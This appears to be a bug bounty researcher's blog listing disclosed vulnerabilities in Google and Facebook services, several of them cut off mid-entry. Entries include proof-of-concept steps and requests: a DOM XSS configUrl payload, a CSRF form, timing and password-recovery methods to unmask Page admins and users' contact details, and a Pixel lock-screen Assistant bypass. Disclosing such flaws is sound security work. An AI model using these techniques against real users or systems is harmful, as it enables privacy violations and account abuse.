Posts

[Google] Admin access to FS KVM Switch

On http://XXX.XXX.XX.XX, there was a login portal over "/login.html" for Google Admins to access FS KVM Switch. The portal served as single console for multiple network server. The "/index.html" was not accessible without assigned authenticated cookies. Due to having default creds, a login was possible as the Admin which redirected to "/index.html", assuming a successful login was made. The interface showed an iframe within to list devices which was empty. I stopped my testing at this point because of the latency of the responses was really high, which gave me an indication that further testings with tools might result in server getting throttled. Timeline - Reported - 28-07-2024 Triaged - 29-07-2024 Accepted - 30-07-2024  ( 🎉  Nice catch! ) Fixed - 14-08-2024 Rewarded - 16-08-2024

[Google] Full Google/Gemini Assistant Access on Pixel Lock Screen and "Lock Down" mode

Pixel phones which have disabled Google Assistant and which are in "Screen Lock" or in "Lock Down" mode are allowing full access to Google Assistant or Gemini as Assistant. On Locked Screen or in "Lock Down" mode, an unusual behaviour is allowing this which I think shouldn't be as it is. POC steps are really simple - 1. Turn OFF Google Assistant. 2. Lock the screen or enable "Lock Down" mode. 3. Trigger Google Assistant by pressing the Lock button. 4. A popup will appear to turn ON the Google Assistant  (the unusual behaviour). 5. Click on "Turn ON". Assistant now can perform actions based on the Google Assistant privacy settings, which includes allowing to do the following - major one's like fetching personal results, making a phone call (using Apps as well like WhatsApp), send messages (using Apps as well like WhatsApp) or even control devices which are added to Home App like TV, AC, IP cams, Fridge etc.... Timeline - Reported

[Google] Improper Data Deletion for Google AI Studio Prompts

 Google AI Studio database saves deleted prompts made by its users (not the LLM), resulting in privacy issues as follows - * Google is saving data which has been deleted by its users against their choice. * Users are in a false knowledge that these prompts are deleted. Users don't have control over their own data thrown in prompts. * A public prompt (shared prompt) will always be available to public view (or selected view according to users sharing settings) even after deletion. Timeline - Reported -  28.05.2024 Closed -  28.05.2024  as "Not a security issue".

[Google] Access to BGP server + DOM XSS

 A hacker could have had the access to a BGP REST API server without any authorisation which was leading to leak of internal network info, devices info, network configuration and modification. Apart from that, there was a DOM XSS vulnerability in the target IP asset as well. POC - An IP address had a BGP server running on it. The access to it was an API service " Sonic Network Management APIs". These API calls could have been made without authorisation(access_token) and they were all listed with specifications on - " https://IP/ui/model.html". Endpoints such as - /ui/model.html?urls.primaryName=sonic-interface.yaml#/sonic-interface/get_sonic_interface_sonic_interface /ui/model.html?urls.primaryName=sonic-port.yaml#/sonic-port/get_sonic_port_sonic_port /ui/model.html?urls.primaryName=openconfig-lldp.yaml#/openconfig-lldp/get_openconfig_lldp_lldp_interfaces /ui/model.html?urls.primaryName=openconfig-platform.yaml#/openconfig-platform/get_openconfig_platform_components

[Google] YouTube "restconf" Swagger-UI XSS

  During my recon, I came across a few Google owned IP assets which were running "restconfig" services hosted on Swagger-UI. Dawid MoczadÅ‚o has written a detailed article here . POC - Three IP assets on -  "https://IP/ui" were vulnerable to DOM XSS on this endpoint - "/ui/model.html?configUrl=http://hackingmonks/test.json". The Swagger-UI did show the available API endpoints for the service but had authorisation in place(access_token was needed). During this period, I had found 4th asset which had the same vulnerability along with additional exploitation, which was reported in another ticket. The write-up can be found here ( Access to BGP server + DOM XSS ). Timeline - Reported - 22.05.2023 Triaged - 22.05.2023 The assets were no longer accessible to the public -  09.06.2023 Accepted - 07.06.2023 Rewarded - 13.06.2023 Google's date for the fix - 08.12.2023

[Google] Disclose hidden Blogger profile Display name and Profile photo

 Because of an unfiltered response to an API call, it was possible for anyone to fetch hidden Blogger Profile Display name and Profile photo. POC - An endpoint going to - ========================================= GET https://blogger.googleapis.com/v3/blogs/target_blog_id/posts?fetchBodies=true&fetchImages=true&maxResults=69&view=VIEW_TYPE_UNSPECIFIED&key=[YOUR_API_KEY] HTTP/1.1 Authorization: Bearer [YOUR_ACCESS_TOKEN] ========================================= Would respond with the hidden Profile Display name and Profile photo as below - ========================================= "author": {     "id": "blogger_id",     "displayName": "blogger_name",     "url": "https://www.blogger.com/profile/blogger_id",     "image": {       "url": "//2.bp.blogspot.com/blogger_photo.jpg" } ========================================= Timeline - Reported - 31.01.2023 Triaged - 01.02.2023 Acc

[Facebook] Determine Email Address and Phone number of Users

 A malicious user could have infer contact point ownership of any User regardless of victim's privacy settings and network relativity. POC - (attacker on a large network) Repeat the following request 500 times with target Email Address - ======================================== POST /login/device-based/regular/login/?login_attempt=1&next=https://www.facebook.com/dialog/oauth?client_id=124024574287414&redirect_uri=https://www.instagram.com/accounts/signup/&state={"fbLoginKey":"XXX","fbLoginReturnURL":"/fxcal/disclosure/?next=/"}&scope=email&response_type=code,granted_scopes&locale=en_US&ret=login&fbapp_pres=0&logger_id=f952251a-c6c7-4721-9fa8-1ecc26f9c00d&tp=unspecified&cbt=1650191800804&lwv=100 HTTP/2 Host: www.facebook.com jazoest=21013&lsd=AVoLtTx7Lyg&api_key=124024574287414&cancel_url=https://www.instagram.com/accounts/signup/?error=access_denied&error_code=200&error_descr

[Facebook] Page Admin disclosed

With a request response timing, it was possible to guess an Admin of a Page. POC -  1. As an Attacker go to your test Page role settings - https://m.facebook.com/pages/edit/admins/page_id 2. Add the Target Page Admin as any role on that Page. 3. Turn ON Burp Interceptor and click on the Cancel button to remove the Target Page Admin from the Pending Admins list. 4. Take the Request to Repeater Tab. 5. The Request will have an ID parameter "id=". Change it to the Target Page ID and repeat the Request. 6. Observe the Response timing. There will be a Maximum Response timing and Minimum Response timing. Repeat the Request several times to determine the Range. This Range will be default for your Internet and PC to guess the right Page Admins for any other Page. 7. Change the "id=" value with a Page ID where the Victim is not an Admin. Repeat the request to see that, the Response timing will be more than the Range we got before. This Range will be default for your Internet

[Facebook] Determine Email Address and Phone Number of Users

  By following the POC below, it was possible for a hacker to determine if a given Email Address or a Phone Number is connected to the given Facebook User or not, even when they are hidden by the User. POC - 1. Go to www.facebook.com and Click on "Forgot password". 2. Enter Target's Phone Number and click on "Search". 3. Select "Send code via SMS" and click on "Keep going". 4. Click on "Can't get code?". 5. Repeat step 3 and 4 at least six times. 6. Then click on "Aren't you". 7. Enter the Target's Facebook USERNAME and click on "Search". 8. Select "Send code via SMS" and click on "Keep going". 9. Click on "Cancel". 10. Click on "Forgot password". 11. Repeat step 8,9,10 again. This should trigger an error saying "Identify this account in another way". To double confirm, 12. Click on "Please try again". 13. Enter the Target's USERNAME and

[Facebook] CSRF to renew access to Apps

 It was possible for an attacker to renew access to Apps which have expired for the victim without the victim's consent. CSRF   POC - <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://www.facebook.com/v2.3/dialog/oauth"> <input type="hidden" name="app&#95;id" value="XXX" /> <input type="hidden" name="auth&#95;type" value="" /> <input type="hidden" name="cbt" value="1622970398155" /> <input type="hidden" name="channel&#95;url" value="https&#58;&#47;&#47;staticxx&#46;facebook&#46;com&#47;x&#47;connect&#47;xd&#95;arbiter&#47;&#63;version&#61;46&#35;cb&#61;f11c70b8d77d13&amp;domain&#61;www&#46;jiosaavn&#46;com&amp;origin&#61;https&#37;3A&#37;2F&#37;2Fwww